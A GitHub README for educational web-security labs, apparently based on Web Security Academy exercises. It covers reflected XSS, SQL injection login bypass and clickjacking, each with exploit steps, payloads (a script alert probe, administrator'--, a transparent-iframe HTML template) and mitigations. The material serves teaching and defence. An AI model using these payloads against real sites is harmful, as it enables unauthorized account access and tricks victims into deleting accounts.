Skip to content

Reflected XSS into HTML context with nothing encoded. This vulnerability exists in the search functionality of a web application, allowing attackers to execute JavaScript code in the user's browser.

Notifications You must be signed in to change notification settings

GauravGhandat-23/Advanced-Cybersecurity-Labs-Exploiting-and-Securing-Web-Applications

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

2 Commits
 
 

Repository files navigation

Advanced-Cybersecurity-Labs-Exploiting-and-Securing-Web-Applications

Overview

This repository contains a series of cybersecurity projects aimed at demonstrating and understanding critical web application vulnerabilities. The repository highlights the following security issues:

  1. Reflected Cross-Site Scripting (XSS).
  2. SQL Injection for Login Bypass.
  3. Clickjacking with CSRF Token Protection.

Task 1: Reflected XSS Vulnerability

Problem Statement

Reflected XSS into HTML context with nothing encoded. This vulnerability exists in the search functionality of a web application, allowing attackers to execute JavaScript code in the user's browser.

Steps to Exploit

  1. Access the Web Application: Open the webpage containing the search functionality.
  2. Test the Search Field for Reflection: Enter a string (e.g., test) to check if it is reflected.
  3. Craft an XSS Payload: Inject the following payload:
    <script>alert(1)</script>
  4. Submit the Payload: Observe if a popup with "1" appears.

Mitigation Recommendations

  • Validate and sanitize user inputs.
  • Apply context-appropriate encoding.
  • Implement a Content Security Policy (CSP).
  • Use security libraries like OWASP AntiSamy.

Task 2: SQL Injection for Login Bypass

Problem Statement

This vulnerability allows attackers to bypass authentication and log in as an administrator by injecting SQL commands into the username field.

Steps to Exploit

  1. Navigate to the Login Page: Locate the username and password fields.
  2. Inject SQL Payload: In the username field, enter:
    administrator'--
    Leave the password field empty or provide any value.
  3. Submit the Form: Observe if access is granted to the administrator account.

Explanation of Payload

  • administrator': Ends the current string.
  • --: Comments out the rest of the SQL query, bypassing password validation.

Mitigation Recommendations

  • Use prepared statements and parameterized queries.
  • Validate and sanitize user inputs.
  • Restrict user privileges.

Task 3: Clickjacking with CSRF Token Protection

Problem Statement

This vulnerability leverages transparent iframes and decoy elements to trick users into performing unintended actions, such as deleting their account, despite the presence of CSRF token protection.

Steps to Exploit

  1. Log in to Your Account:
    • Use credentials (e.g., wiener:Peter) to access the target website.
  2. Set Up the Exploit:
    • Host the following HTML on the exploit server:
      <style>
          iframe {
              position: relative;
              width: 1000px;
              height: 700px;
              opacity: 0.000001;
              z-index: 2;
          }
          div {
              position: absolute;
              top: 515px;
              left: 60px;
              z-index: 1;
          }
      </style>
      <div>Click me</div>
      <iframe src="https://YOUR-LAB-ID.web-security-academy.net/my-account?id=wiener"></iframe>
  3. Align the Decoy Element:
    • Adjust top and left values to align the "Click me" text with the "Delete account" button.
  4. Deliver the Exploit:
    • After alignment, deliver the exploit to the victim and monitor for account deletion.

Mitigation Recommendations

  • Implement X-Frame-Options to prevent framing.
  • Use SameSite cookies to mitigate CSRF attacks.
  • Educate users about phishing tactics to avoid falling victim to clickjacking.

Conclusion

This repository provides hands-on demonstrations of severe web application vulnerabilities, emphasizing the importance of secure coding practices and proactive mitigation techniques.

Files Included

  • Task 1 Documentation: Reflected XSS details.
  • Task 2 Documentation: SQL Injection details.
  • Task 3 Documentation: Clickjacking with CSRF Token Protection details.
  • Sample payloads and HTML templates for testing vulnerabilities.

Disclaimer

This repository is intended solely for educational purposes. Testing on unauthorized systems or applications without explicit permission is illegal and unethical.

About

Reflected XSS into HTML context with nothing encoded. This vulnerability exists in the search functionality of a web application, allowing attackers to execute JavaScript code in the user's browser.

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

No packages published